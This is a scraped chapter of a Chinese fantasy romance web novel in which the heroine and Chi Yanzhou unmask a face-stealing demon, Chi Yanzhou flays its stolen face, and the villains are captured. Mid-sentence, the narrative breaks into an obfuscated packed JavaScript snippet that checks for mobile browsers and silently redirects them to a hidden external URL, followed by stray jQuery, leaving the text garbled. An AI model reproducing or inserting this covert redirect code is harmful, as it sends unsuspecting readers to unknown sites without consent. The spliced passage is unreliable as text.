轻轻眨了眨眼。
鱼穗穗改变了了主意,双眸恍惚,望着朝她伸出手的池砚舟。那双手生的白净瘦长,精雕玉啄的玉器一样漂亮。
鱼穗穗被蛊惑了般,将自己柔软的指腹,放入他白净的掌心,很温暖。
指尖的触感,比往常任何时候都要温暖,光凭这一点。鱼穗穗就可以肯定,眼前这个伪装的在像,都是个冒牌货!
是假的!
他绝对不是池砚舟。
池砚舟的手很冷,她摸过,并且每触碰一次,都比先前那次更冷。
“那我们走吧。”
即便如此,鱼穗穗还是仰头朝他露出甜腻的笑,将手搭在他的掌心,毫无防备的同他一起离开。
“恶心。”
她身后不远处,传来轻轻的冷闽。
冷漠、毫无感情。
寒光猛然破空,划破了眼前那双白净无暇的手腕。
“啊!”
牵着鱼穗穗手的“池砚舟”面目狰狞,露出衣袖,那段苍白的手腕喷出鲜血。
握着鱼穗穗的手,猛的缩了回去。
可惜晚了。
鱼穗穗也早有戒备。
一早就将藏在指腹下的符纸贴在了这冒牌货的手背上。
一时之间。
白净的手背,烧灼起黑烟,原本只有被黄纸覆盖的地方被灼烧,渐渐扩大到手腕。
就连原本细嫩修长的指节,都被符纸烧毁的面目全非,还有手腕上,差点将骨头都斩断的伤口正在不断渗血。
“你……你们!”
盯着池砚舟脸的画皮妖,满目愤怒,紧紧捂着受伤的手腕,哪里还不知道自己被鱼穗穗和池砚舟耍了。
气的浑身颤抖。
“你们竟敢这般戏耍我!”
真正的池砚舟,架着腿,远远的坐在椅子上,指尖把玩着染血的指尖刃,微微一顿。
“戏耍?”
隔着迷雾远远的抬眸睨来,随手将指尖把玩那道寒芒上,沾染的血渍甩去,不解道。
“我缘何戏耍你。难道不是你想要同我们玩闹吗?”
画皮妖一梗。
气的浑身颤抖,就要原地跳脚。
“欺人太甚!简直欺人太甚!”
池砚舟漫不经心道:“你是妖,不是人。”
鱼穗穗神色复杂,看向被池砚舟怼的更加气急的画皮妖,一时都有些可怜他,被池砚舟戏耍的团团转了。
池砚舟懒懒的直起身。
直勾勾盯着那张同他一模一样的脸皮,撇嘴:“你长得可真恶心。还是先将你的面皮扒下来吧。”
鱼穗穗:!!?
“你两长的一样……”
鱼穗穗跑到池砚舟身边,来回打量两人一番。
察觉到她的视线,池砚舟把玩指尖刃的动作一顿,匪夷的望向鱼穗穗。
“你眼神不好。”
鱼穗穗:!
明明就长的一模一样啊!
视线落在他手里的刀上,鱼穗穗很没骨气的闭嘴。
算了,他是个狠人。
狠起来连自己都骂,还是不要惹他比较好。
鱼穗穗默默把心里话咽下去,转而掏出谢云昇给她准备的那一叠符纸,问池砚舟。
“开打吗?”
“嗯。”
得到他懒洋洋的回答。
鱼穗穗原本都想直接莽上去开打,只是冲出去两步就刹住了脚,回过头看向还搁原地坐着的池砚舟。
“你不上?”
“唔~那我先将他脸皮扒下来。”
还记得这茬呢!
鱼穗穗匪夷所思,后者慢悠悠的将腿放下。
“等等!”对面画皮妖还一脸纠结的摸着自己的脸,等待着鱼穗穗的答案,“你是怎么发现我的?明明我伪装的一模一样啊!”
说实话。
光看脸,确实没话说。两人简直就是一个模子里刻出来,双胞胎都没他像。
唯一的败笔,就是池砚舟身上那股矛盾的气质,他没能模仿出来。
毕竟像他这种疯子,还是很少见的。
正常人也学不来。
这个问题池砚舟显然也来了兴趣,好奇的视线看向鱼穗穗。
没在急着扒画皮妖的皮,而是停下来等待着她的答案。
在两道灼烈的视线里,鱼穗穗卡壳了一秒,倍感压力山大,但很快插腰,满是骄傲的臭屁道:“那当然了!也不看看我是谁,就我这慧眼识珠,一眼就能识破你的伪装!”
鱼穗穗没说实话。
刚才她其实有些恍惚。
第一眼并没有认出来,以为是池砚舟去而复返了。
不过他装的也确实不像,一开口就暴露了,池砚舟根本不可能那般笑着,和善的同自己说话,实在是太过诡异了。
在加上系统剧情提示。
鱼穗穗早就对这画皮妖有所防备。
原本以为他会,用相同的招对付苏木晗,所以刚才鱼穗穗才会急切的喊,池砚舟赶去保护苏木晗。
只是没想到,这招竟然会用到自己的身上。
伪装的还是池砚舟。
想来是狗急跳墙,真被逼急了。
看苏木晗不好下手,就看上落单的她,觉得挟持她当人质,来威胁谢云昇,得到脱身的效果更简单些。
不过可惜了。
他们的如意算盘算是彻底打空了。
而远处原本同范修然缠斗的谢云昇显然也发现了,鱼穗穗他们这里的变故。
边同范修然缠斗,边抽空道:“木晗你去阿穗那,这里我来拖着。”
“你小心些。”
苏木晗也注意到了,点头脱身。
原本就是二打一。
虽然鱼穗穗和池砚舟算是战五渣,不足为惧。
如今有了苏木晗的加入,那情况就大大的不同了,先不用说三打一,光苏木晗就能吊打这只画皮妖。
毕竟他只有画皮厉害些,武力值却不强。
画皮妖显然也察觉情况对他非常不利,立马想要抽身遁逃。
“啧!走可以,皮得留下。”
鱼穗穗原本正打算将手里的符纸,不要钱的扔出去,极力将他拖住,只是没想到这次池砚舟比她还积极。
已然从座椅上起来,朝画皮妖那飞掠过去。
于是鱼穗穗就眼睁睁的看着,画皮鬼的脸颊被池砚舟用指尖刃,轻而易举的划破。
那张和池砚舟一模一样的脸上,骤然落下一道血痕。
画皮妖惨叫一声,疼的连忙后撤,可惜池砚舟很快又撵上去,多次伸手够他的脸。
察觉到池砚舟来真的,画皮妖连忙换了脸皮。
顶着谢云昇脸的画皮妖,急切道:“你快点在看看,我换皮了这下不恶心了吧!”
谢云昇动作一顿。
没等画皮妖松口气,池砚舟诡异的勾唇一下,眼底并发出兴奋的光下手更狠。
“确实。”
见这招不行,画皮妖连忙又变成苏木晗的模样。
可池砚舟依旧撵着扒皮。
画皮妖灵机一动,最后幻出了鱼穗穗的模样。
“你看清楚!我是谁!”
池砚舟笑容凝固。
眼部迸发出冷意,眸色更加暗沉。
“竟然选了她的面皮啊。”
语气温软。
画皮妖见他终于停下了动作,松了口气。
他没发现,笑语晏晏的池砚舟脚下,正不断生出红色丝线,顺着地面不断朝他蜿蜒。
“那便没办法了,将命留下吧。”
缠上他脚腕的那一瞬。
画皮妖一颤,连忙用妖气斩断。
可惜晚了。
原本站在原地的池砚舟也瞬间朝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241534|197759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他逼近。
池砚舟的势头太强,根本不怕受伤,目的只有一个。
那就是不择手段,也要扒他的皮。
缠上后极难挣脱。
很快画皮妖就感到了压力,额上渗出汗。
“你这个疯子!”
意识到不对,连忙换了张脸。
可池砚舟依旧缠着他不放。
并且很快,他一个不察,那张被划出口子的面皮,眨眼间就被池砚舟,用那白皙的指撕了下来。
血淋淋的握在手里。
没多看一眼,转头就将皮随意丢弃地上,厌恶的拿帕子,擦拭指上沾染的血渍。
“这下顺眼多了。”
“啊啊啊——”
画皮妖捂着模糊的脸,痛的弯腰打滚。站在一旁的鱼穗穗看的心惊胆战的,咽了口口水。
刚感叹完池砚舟,真的是太残暴了!就没忍住,弯腰在一旁干呕起来。
“你看,你都将她恶心坏了。”
鱼穗穗:?!!!
画皮妖:?
鱼穗穗实在难受,震惊之余,无暇顾及,弓着背又干呕起来。
有意无意的避开池砚舟站着的那处,她是打死也不想看那血淋淋的脸皮了。
池砚舟却似不觉,步履从容的朝她走来。
“很难受吗?”
阴影笼罩了她。
淡淡的血腥味侵袭,鱼穗穗能看到身后垂在身侧那只手上,正巧有一滴残留的血,正从殷红的指尖滚落。
砸在她脚畔。
还有那染上一点血渍的衣角,正轻抚过她的小腿。
池砚舟正站在她身后,注视着她。
真正叫鱼穗穗恐慌的是,池砚舟突如其来的关心,叫鱼穗穗一颤。
想到他扒和自己一模一样的脸皮,都能如此轻描淡写的扒了,连忙摆手,表示自己没事。
“我没事。”
鱼穗穗苍白着脸摇头,避开了他伸过来的手。
“阿穗没事吧!”
苏木晗恰好赶到。
扶起小脸煞白的鱼穗穗,满脸关心之余,神色亦有些难看。
“我没事。”
“别让他逃了。”
原本想要逃跑的画皮妖都要骂人了。
苏木晗也发现了遁逃的画皮妖,眼下不是多言的时候,扫了眼被扔在地上的皮。
“阿姐。”
池砚舟垂眸,收回手,低低唤了声,除去手上的血,很是温润无害。
苏木晗脸色极其难看,紧抿着唇,一言不发的同池砚舟擦肩而过。
三两下就逮住了想要趁机逃跑的画皮妖,将他制服后捆绑,扔回了地上。
另一边谢云昇也终于将范修然抓住,以同样的手法绑住,同画皮妖扔在一起。
“多谢几位仙长相助。”
云珠双眸含泪,衣袍染血,刚才的打斗,她出力很多,腹部被范修然打出一个很大的口子。
脸色虚弱的同谢云昇道谢,鲜红的血一连串的从眼眶里滚落,在变成黑烟蒸发。
“真是大快人心!范修然你杀珍娘时,可想过有今日?”
她一脚踩在范修然胸口,弯腰:“你放心,我明日便召集城中百姓,当着大家的面,撕下你的伪面,替珍娘还有那些可怜的无辜之人讨公道!”
云珠神色癫狂的笑了起来,浑身黑气肆意。
“珠姐姐?”
鱼穗穗有些被吓到。
云珠很快整理好情绪,朝着几人感激行礼。
“抱歉,吓到你了吧。此处我会处理,几位仙长劳累,快回去歇息吧。”
谢云昇没有真的将烂摊子扔给她一个人,只是让受伤的苏木晗回去歇息,后者神色黑沉的唤走了池砚舟回屋。
鱼穗穗原本是想留下帮忙的,但她刚失去妖丹,身体虚弱,谢云昇怕她吃不消,强势让她回屋歇息去了。